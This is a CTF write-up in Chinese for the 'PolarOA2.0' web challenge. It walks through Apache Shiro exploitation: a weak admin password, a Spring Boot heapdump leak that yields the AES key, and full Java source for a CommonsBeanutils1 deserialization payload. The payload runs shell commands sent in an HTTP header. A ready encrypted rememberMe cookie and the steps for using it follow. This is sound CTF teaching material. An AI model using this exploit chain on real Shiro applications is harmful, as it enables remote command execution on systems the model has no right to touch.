记一次CTF出题之PolarOA2.0_WP篇
WEB-PolarOA2.0
一、查看题目信息
题目给出一个登录界面,跟前PolarOA
题目我们知道考察shiro
相关利用方式。
二、题目分析
使用工具探测到shiro
框架,尝试爆破并未爆破出Key
,考虑使用的高版本shiro
,可尝试使用其他方式获取key
。
考虑是SpringBoot
项目,可尝试是否存在端点泄露。
访问http://url/actuator
,跳转到登录界面,考虑是做了访问控制。
通过fuzz
登录界面可测试出弱口令 admin
:admin123
登录成功在次尝试测试确实存在端点泄露:/actuator/env
、/actuator/heapdump
。
重点关注/actuator/heapdump
因为Spring
中的heapdump
文件是从JVM
虚拟机内存导出的,所以可在heapdump
文件中找到我们需要的Key
访问后即可下载heapdump
文件。
接下来就可以借助工具分析出heapdump
的key
:https://github.com/whwlsfb/JDumpSpider
探测key
探测利用链发现无可利用链路,考虑是跟PolarOA
题目一样做了限制,测试不难发现rememberMe
字段的内容不能超过3000
个字符。
还是使用CB1
链子生成payload
(shiro
依赖CB):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package ysoserial.shiropoc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import ysoserial.payloads.util.Reflections;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;
public class POC {
public static void main(String[] args) throws Exception {
final TemplatesImpl templates = getTemplate();
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
// ==================
// 生成序列化字符串
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("TQyRWFqr5ssSr0MA6M17fA=="));//shiro默认密钥
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(aes.encrypt(bytes, key));
}
public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static TemplatesImpl getTemplate() throws Exception {
CtClass clz = genPayloadForLinux2();
TemplatesImpl obj = new TemplatesImpl();
Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
Reflections.setFieldValue(obj, "_name", "a");
Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
}
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
三、漏洞利用
运行poc
生成payload
并传入Cookie
的rememberMe
(Cookie: rememberMe=xxxxxxx
),同时编辑C
字段为所需执行的命令。
本文由作者按照 CC BY 4.0 进行授权